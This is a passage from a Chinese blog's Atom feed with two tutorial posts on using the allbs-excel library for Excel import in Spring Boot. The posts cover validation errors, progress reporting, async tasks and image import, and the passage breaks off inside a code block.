<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>共赴良策</title>
  
  <subtitle>为面向未来的通用的、广泛的知识共创而努力</subtitle>
  <link href="https://blog.allbs.cn/atom.xml" rel="self"/>
  
  <link href="https://blog.allbs.cn/"/>
  <updated>2025-11-28T06:48:01.054Z</updated>
  <id>https://blog.allbs.cn/</id>
  
  <author>
    <name>programApe</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>spring boot项目excel导出功能封装——5.导入带进度以及忽略错误</title>
    <link href="https://blog.allbs.cn/posts/a25652de/"/>
    <id>https://blog.allbs.cn/posts/a25652de/</id>
    <published>2025-11-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<p>封装的easyexcel，基于注解实现excel的导入导出，以场景来说，就是你有一个<strong>现成的分页接口或者一个list接口</strong>，只需要添加几个简单的注解，就可以实现excel的导出，也是为了方便有模板生成代码的情况下直接生成导出功能。</p><p>这是封装的依赖库源码：<a href="https://github.com/chenqi92/allbs-excel">https://github.com/chenqi92/allbs-excel</a></p><p>这是这个依赖库的使用示例：<a href="https://github.com/chenqi92/allbs-excel-test">https://github.com/chenqi92/allbs-excel-test</a></p><p>依赖库运行后在浏览器中打开：<a href="http://localhost:8080/">http://localhost:8080/</a> 即可测试各种示例，参照示例进行使用可以不用看后续的使用说明。</p><p>昨晚看到评论，发现确实把这个功能点给漏了。<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/ee6f37f349f8046085b60bee7e438a08.png" alt="评论"></p><p>所以额外加了这一节，用来说明如何使用带进度的导入。</p><p>还是需要导入maven最新版本：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-excel<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.1.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="普通带进度的导入">普通带进度的导入</h3><p>导入的示例代码：<br>当前示例设置了两种模式，一种是检测到错误不让导入，一种是有错误跳过。通过设置参数<code>skipErrors</code>实现。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/with-progress&quot;)</span>  </span><br><span class="line"><span class="meta">@ImportProgress(listener = SseImportProgressListener.class, interval = 100)</span>  </span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;?&gt; importWithProgress(  </span><br><span class="line">        <span class="meta">@ImportExcel</span> List&lt;UserDTO&gt; users,  </span><br><span class="line">        <span class="meta">@RequestAttribute(name = &quot;excelErrors&quot;, required = false)</span> List&lt;ErrorMessage&gt; excelErrors,  </span><br><span class="line">        <span class="meta">@RequestParam(value = &quot;skipErrors&quot;, defaultValue = &quot;false&quot;)</span> <span class="type">boolean</span> skipErrors  </span><br><span class="line">) &#123;  </span><br><span class="line">    Map&lt;String, Object&gt; result = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 计算统计信息  </span></span><br><span class="line">    <span class="type">int</span> <span class="variable">totalRows</span> <span class="operator">=</span> users.size() + (excelErrors != <span class="literal">null</span> ? excelErrors.size() : <span class="number">0</span>);  </span><br><span class="line">    <span class="type">int</span> <span class="variable">successCount</span> <span class="operator">=</span> users.size();  </span><br><span class="line">    <span class="type">int</span> <span class="variable">errorCount</span> <span class="operator">=</span> excelErrors != <span class="literal">null</span> ? excelErrors.size() : <span class="number">0</span>;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">if</span> (!CollectionUtils.isEmpty(excelErrors)) &#123;  </span><br><span class="line">        <span class="keyword">if</span> (skipErrors) &#123;  </span><br><span class="line">            <span class="comment">// 跳过错误模式：只导入正确的数据  </span></span><br><span class="line">            result.put(<span class="string">&quot;success&quot;</span>, <span class="literal">true</span>);  </span><br><span class="line">            result.put(<span class="string">&quot;message&quot;</span>, String.format(<span class="string">&quot;导入完成（跳过了 %d 行错误数据）&quot;</span>, errorCount));  </span><br><span class="line">            result.put(<span class="string">&quot;successCount&quot;</span>, successCount);  </span><br><span class="line">            result.put(<span class="string">&quot;errorCount&quot;</span>, errorCount);  </span><br><span class="line">            result.put(<span class="string">&quot;totalRows&quot;</span>, totalRows);  </span><br><span class="line">            result.put(<span class="string">&quot;skipRate&quot;</span>, String.format(<span class="string">&quot;%.2f%%&quot;</span>, (errorCount * <span class="number">100.0</span> / totalRows)));  </span><br><span class="line">  </span><br><span class="line">            <span class="comment">// 返回错误摘要  </span></span><br><span class="line">            List&lt;String&gt; errorSummary = excelErrors.stream()  </span><br><span class="line">                    .limit(<span class="number">10</span>)  <span class="comment">// 只返回前10个错误  </span></span><br><span class="line">                    .flatMap(em -&gt; em.getErrorMessages().stream()  </span><br><span class="line">                            .map(msg -&gt; <span class="string">&quot;行号 &quot;</span> + em.getLineNum() + <span class="string">&quot;：&quot;</span> + msg))  </span><br><span class="line">                    .collect(Collectors.toList());  </span><br><span class="line">            <span class="keyword">if</span> (errorCount &gt; <span class="number">10</span>) &#123;  </span><br><span class="line">                errorSummary.add(<span class="string">&quot;... 还有 &quot;</span> + (errorCount - <span class="number">10</span>) + <span class="string">&quot; 行错误数据被跳过&quot;</span>);  </span><br><span class="line">            &#125;            result.put(<span class="string">&quot;errorSummary&quot;</span>, errorSummary);  </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">            <span class="comment">// 严格模式：有错误则拒绝导入  </span></span><br><span class="line">            List&lt;String&gt; errors = excelErrors.stream()  </span><br><span class="line">                    .limit(<span class="number">20</span>)  <span class="comment">// 只返回前20个错误  </span></span><br><span class="line">                    .flatMap(em -&gt; em.getErrorMessages().stream()  </span><br><span class="line">                            .map(msg -&gt; <span class="string">&quot;行号 &quot;</span> + em.getLineNum() + <span class="string">&quot;：&quot;</span> + msg))  </span><br><span class="line">                    .collect(Collectors.toList());  </span><br><span class="line">            <span class="keyword">if</span> (errorCount &gt; <span class="number">20</span>) &#123;  </span><br><span class="line">                errors.add(<span class="string">&quot;... 还有 &quot;</span> + (errorCount - <span class="number">20</span>) + <span class="string">&quot; 行错误&quot;</span>);  </span><br><span class="line">            &#125;  </span><br><span class="line">            result.put(<span class="string">&quot;success&quot;</span>, <span class="literal">false</span>);  </span><br><span class="line">            result.put(<span class="string">&quot;message&quot;</span>, String.format(<span class="string">&quot;发现 %d 行数据有错误，请修正后重新导入&quot;</span>, errorCount));  </span><br><span class="line">            result.put(<span class="string">&quot;errors&quot;</span>, errors);  </span><br><span class="line">            result.put(<span class="string">&quot;validCount&quot;</span>, successCount);  </span><br><span class="line">            result.put(<span class="string">&quot;errorCount&quot;</span>, errorCount);  </span><br><span class="line">            <span class="keyword">return</span> ResponseEntity.badRequest().body(result);  </span><br><span class="line">        &#125;    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        result.put(<span class="string">&quot;success&quot;</span>, <span class="literal">true</span>);  </span><br><span class="line">        result.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;导入成功&quot;</span>);  </span><br><span class="line">        result.put(<span class="string">&quot;successCount&quot;</span>, successCount);  </span><br><span class="line">        result.put(<span class="string">&quot;errorCount&quot;</span>, <span class="number">0</span>);  </span><br><span class="line">        result.put(<span class="string">&quot;totalRows&quot;</span>, totalRows);  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="comment">// 不返回所有数据，避免响应太大  </span></span><br><span class="line">    result.put(<span class="string">&quot;previewData&quot;</span>, users.size() &gt; <span class="number">10</span> ? users.subList(<span class="number">0</span>, <span class="number">10</span>) : users);  </span><br><span class="line">    result.put(<span class="string">&quot;hasMore&quot;</span>, users.size() &gt; <span class="number">10</span>);  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">return</span> ResponseEntity.ok(result);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我将使用有一行故意不满足校验的模板：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/8476adba43c081b1ed18f6e0917713cb.png" alt="模板"><br>导入后如下：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/b7ab9856df73937937b55bca3f6ee4d0.png" alt="提示"><br>带进度的如下：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/d2cdebfdef14669ff6b6f20392f926f8.png" alt="导入进度"></p><h3 id="异步导入">异步导入</h3><p>可以用几十万条数据进行测试，不然效果不明显。<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/1db0121ce7a3a8775ef061cf637290bd.png" alt="效果"><br>接口实时返回内容，然后通过另外一个接口获取这个异步任务的动态。代码分为导入和获取状态的接口。异步处理的我就不贴了，可以看示例代码。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**  </span></span><br><span class="line"><span class="comment"> * 1. 提交异步导入任务  </span></span><br><span class="line"><span class="comment"> */</span>  </span><br><span class="line"><span class="meta">@PostMapping(&quot;/submit&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;?&gt; submitTask(  </span><br><span class="line">        <span class="meta">@RequestParam(&quot;file&quot;)</span> MultipartFile file,  </span><br><span class="line">        <span class="meta">@RequestParam(value = &quot;skipErrors&quot;, defaultValue = &quot;false&quot;)</span> <span class="type">boolean</span> skipErrors  </span><br><span class="line">) &#123;  </span><br><span class="line">    <span class="keyword">try</span> &#123;  </span><br><span class="line">        <span class="type">String</span> <span class="variable">taskId</span> <span class="operator">=</span> asyncImportService.submitTask(file, UserDTO.class, skipErrors);  </span><br><span class="line">  </span><br><span class="line">        Map&lt;String, Object&gt; response = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        response.put(<span class="string">&quot;success&quot;</span>, <span class="literal">true</span>);  </span><br><span class="line">        response.put(<span class="string">&quot;taskId&quot;</span>, taskId);  </span><br><span class="line">        response.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;任务已提交，请通过taskId查询进度&quot;</span>);  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.ok(response);  </span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">        Map&lt;String, Object&gt; response = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        response.put(<span class="string">&quot;success&quot;</span>, <span class="literal">false</span>);  </span><br><span class="line">        response.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;提交任务失败: &quot;</span> + e.getMessage());  </span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.badRequest().body(response);  </span><br><span class="line">    &#125;&#125;  </span><br><span class="line">  </span><br><span class="line"><span class="comment">/**  </span></span><br><span class="line"><span class="comment"> * 2. 获取任务状态  </span></span><br><span class="line"><span class="comment"> */</span>  </span><br><span class="line"><span class="meta">@GetMapping(&quot;/task/&#123;taskId&#125;&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;?&gt; getTaskStatus(<span class="meta">@PathVariable</span> String taskId) &#123;  </span><br><span class="line">    <span class="type">ImportTask</span> <span class="variable">task</span> <span class="operator">=</span> asyncImportService.getTask(taskId);  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">if</span> (task == <span class="literal">null</span>) &#123;  </span><br><span class="line">        Map&lt;String, Object&gt; response = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        response.put(<span class="string">&quot;success&quot;</span>, <span class="literal">false</span>);  </span><br><span class="line">        response.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;任务不存在&quot;</span>);  </span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.badRequest().body(response);  </span><br><span class="line">    &#125;  </span><br><span class="line">    Map&lt;String, Object&gt; response = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">    response.put(<span class="string">&quot;success&quot;</span>, <span class="literal">true</span>);  </span><br><span class="line">    response.put(<span class="string">&quot;taskId&quot;</span>, task.getTaskId());  </span><br><span class="line">    response.put(<span class="string">&quot;fileName&quot;</span>, task.getFileName());  </span><br><span class="line">    response.put(<span class="string">&quot;status&quot;</span>, task.getStatus().name());  </span><br><span class="line">    response.put(<span class="string">&quot;progress&quot;</span>, task.getProgress());  </span><br><span class="line">    response.put(<span class="string">&quot;totalRows&quot;</span>, task.getTotalRows());  </span><br><span class="line">    response.put(<span class="string">&quot;processedRows&quot;</span>, task.getProcessedRows());  </span><br><span class="line">    response.put(<span class="string">&quot;successCount&quot;</span>, task.getSuccessCount());  </span><br><span class="line">    response.put(<span class="string">&quot;errorCount&quot;</span>, task.getErrorCount());  </span><br><span class="line">    response.put(<span class="string">&quot;errorMessage&quot;</span>, task.getErrorMessage());  </span><br><span class="line">    response.put(<span class="string">&quot;createdAt&quot;</span>, task.getCreatedAt());  </span><br><span class="line">    response.put(<span class="string">&quot;startedAt&quot;</span>, task.getStartedAt());  </span><br><span class="line">    response.put(<span class="string">&quot;completedAt&quot;</span>, task.getCompletedAt());  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 如果有错误，返回部分错误详情  </span></span><br><span class="line">    <span class="keyword">if</span> (task.getErrorList() != <span class="literal">null</span> &amp;&amp; !task.getErrorList().isEmpty()) &#123;  </span><br><span class="line">        response.put(<span class="string">&quot;errors&quot;</span>, task.getErrorList().stream()  </span><br><span class="line">                .limit(<span class="number">20</span>)  </span><br><span class="line">                .map(error -&gt; &#123;  </span><br><span class="line">                    Map&lt;String, Object&gt; errorMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">                    errorMap.put(<span class="string">&quot;rowIndex&quot;</span>, error.getRowIndex());  </span><br><span class="line">                    errorMap.put(<span class="string">&quot;data&quot;</span>, error.getData());  </span><br><span class="line">                    errorMap.put(<span class="string">&quot;fieldErrors&quot;</span>, error.getFieldErrors());  </span><br><span class="line">                    <span class="keyword">return</span> errorMap;  </span><br><span class="line">                &#125;)                .collect(Collectors.toList()));  </span><br><span class="line">        response.put(<span class="string">&quot;hasMoreErrors&quot;</span>, task.getErrorList().size() &gt; <span class="number">20</span>);  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="comment">// 如果完成，返回部分成功数据  </span></span><br><span class="line">    <span class="keyword">if</span> (task.getSuccessData() != <span class="literal">null</span> &amp;&amp; !task.getSuccessData().isEmpty()) &#123;  </span><br><span class="line">        response.put(<span class="string">&quot;previewData&quot;</span>, task.getSuccessData());  </span><br><span class="line">        response.put(<span class="string">&quot;hasMoreData&quot;</span>, task.getSuccessCount() &gt; <span class="number">20</span>);  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">return</span> ResponseEntity.ok(response);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="数据预览和确认导入">数据预览和确认导入</h3><p>类似海康系统里面的那个导入，先将待导入的数据列出来，然后判断是否导入。代码太多了，就不贴了，可以直接看示例。<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/40e798a0435e6a58a42a2aee0afe7d28.png" alt="数据预览和确认导入"><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/d0e4c67b5930d70428378b6bec7bb5a0.png" alt="有错误的情况"><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/90644f1aa59d0ec17ba9f0b54f689d33.png" alt="跳过错误"></p>]]></content>
    
    
    <summary type="html">spring boot项目excel导出功能封装——5.导入带进度以及忽略错误</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="excel" scheme="https://blog.allbs.cn/tags/excel/"/>
    
    <category term="导入导出" scheme="https://blog.allbs.cn/tags/%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA/"/>
    
  </entry>
  
  <entry>
    <title>spring boot项目excel导出功能封装——4.导入</title>
    <link href="https://blog.allbs.cn/posts/21df7403/"/>
    <id>https://blog.allbs.cn/posts/21df7403/</id>
    <published>2025-11-27T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="说在前面">说在前面</h2><p>封装的easyexcel，基于注解实现excel的导入导出，以场景来说，就是你有一个<strong>现成的分页接口或者一个list接口</strong>，只需要添加几个简单的注解，就可以实现excel的导出，也是为了方便有模板生成代码的情况下直接生成导出功能。</p><p>这是封装的依赖库源码：<a href="https://github.com/chenqi92/allbs-excel">https://github.com/chenqi92/allbs-excel</a></p><p>这是这个依赖库的使用示例：<a href="https://github.com/chenqi92/allbs-excel-test">https://github.com/chenqi92/allbs-excel-test</a></p><p>依赖库运行后在浏览器中打开：<a href="http://localhost:8080/">http://localhost:8080/</a> 即可测试各种示例，参照示例进行使用可以不用看后续的使用说明。</p><h2 id="使用说明">使用说明</h2><p>添加maven依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-excel<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.0.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="普通导入">普通导入</h3><p>导入首先是需要提供用户一份模板的，用于让用户知道那一列填什么。如下有这么一个模板：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/c8cd4a9e3ca0efd752bbf677d1fe1433.png" alt="导入模板"></p><p>那么导入代码(直接返回展示，实际业务可以进行数据库储存)就是：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/simple&quot;)</span></span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;?&gt; simpleImport(<span class="meta">@ImportExcel</span> List&lt;UserDTO&gt; users) &#123;</span><br><span class="line">    Map&lt;String, Object&gt; result = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    result.put(<span class="string">&quot;success&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">    result.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;导入成功&quot;</span>);</span><br><span class="line">    result.put(<span class="string">&quot;count&quot;</span>, users.size());</span><br><span class="line">    result.put(<span class="string">&quot;data&quot;</span>, users);</span><br><span class="line">    <span class="keyword">return</span> ResponseEntity.ok(result);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserDTO</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;用户ID&quot;, index = 0)</span></span><br><span class="line">    <span class="meta">@NotNull(message = &quot;用户ID不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;用户名&quot;, index = 1)</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;用户名不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Size(min = 2, max = 20, message = &quot;用户名长度必须在2-20之间&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;邮箱&quot;, index = 2)</span></span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String email;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;创建时间&quot;, index = 3)</span></span><br><span class="line">    <span class="meta">@DateTimeFormat(&quot;yyyy-MM-dd HH:mm:ss&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> LocalDateTime createTime;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;年龄&quot;, index = 4)</span></span><br><span class="line">    <span class="keyword">private</span> Integer age;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;状态&quot;, index = 5)</span></span><br><span class="line">    <span class="keyword">private</span> String status;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="带验证的导入，让用户和开发知道导入数据的哪一行存在问题">带验证的导入，让用户和开发知道导入数据的哪一行存在问题</h3><p>上述代码已经完成了一个导入功能，实际导入过程中难免遇到用户瞎填的情况，那么上面的<code>UserDTO</code>中字段上的校验就可以生效了。比如我不填用户名或者瞎填邮箱。</p><p>示例代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/validate&quot;)</span></span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;?&gt; importWithValidation(</span><br><span class="line">        <span class="meta">@ImportExcel</span> List&lt;UserDTO&gt; users,</span><br><span class="line">        <span class="meta">@RequestAttribute(name = &quot;excelErrors&quot;, required = false)</span> List&lt;ErrorMessage&gt; excelErrors</span><br><span class="line">) &#123;</span><br><span class="line">    Map&lt;String, Object&gt; result = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!CollectionUtils.isEmpty(excelErrors)) &#123;</span><br><span class="line">        <span class="comment">// 使用默认格式化的错误消息</span></span><br><span class="line">        List&lt;String&gt; errors = excelErrors.stream()</span><br><span class="line">                .flatMap(em -&gt; em.getErrorMessages().stream()</span><br><span class="line">                        .map(msg -&gt; <span class="string">&quot;行号 &quot;</span> + em.getLineNum() + <span class="string">&quot;：&quot;</span> + msg))</span><br><span class="line">                .collect(Collectors.toList());</span><br><span class="line"></span><br><span class="line">        result.put(<span class="string">&quot;success&quot;</span>, <span class="literal">false</span>);</span><br><span class="line">        result.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;数据验证失败&quot;</span>);</span><br><span class="line">        result.put(<span class="string">&quot;errors&quot;</span>, errors);</span><br><span class="line">        result.put(<span class="string">&quot;validCount&quot;</span>, users.size());</span><br><span class="line">        result.put(<span class="string">&quot;errorCount&quot;</span>, excelErrors.size());</span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.badRequest().body(result);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    result.put(<span class="string">&quot;success&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">    result.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;导入成功&quot;</span>);</span><br><span class="line">    result.put(<span class="string">&quot;count&quot;</span>, users.size());</span><br><span class="line">    result.put(<span class="string">&quot;data&quot;</span>, users);</span><br><span class="line">    <span class="keyword">return</span> ResponseEntity.ok(result);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果为：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/a4b803d16ee77bab8ad1cc1ba4b5b527.png" alt="校验效果"></p><p>这是额外可以获取到的内容(errors中为简单的提示，fieldErrors内容较全，用于更多不同的业务场景使用)：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/15aac3a1d6498cbd0ec89947589e88cb.png" alt="获取到额外的校验错误信息，以便自定义使用"></p><h3 id="图片导入">图片导入</h3><p>首先是模板：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/6b26a75203ddb25ed02163a4708895e1.png" alt="图片导入的模板"></p><p>图片导入的示例代码(注意<code>ProductImageDTO</code>这个类中的关于图片字段的定义方式)：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span 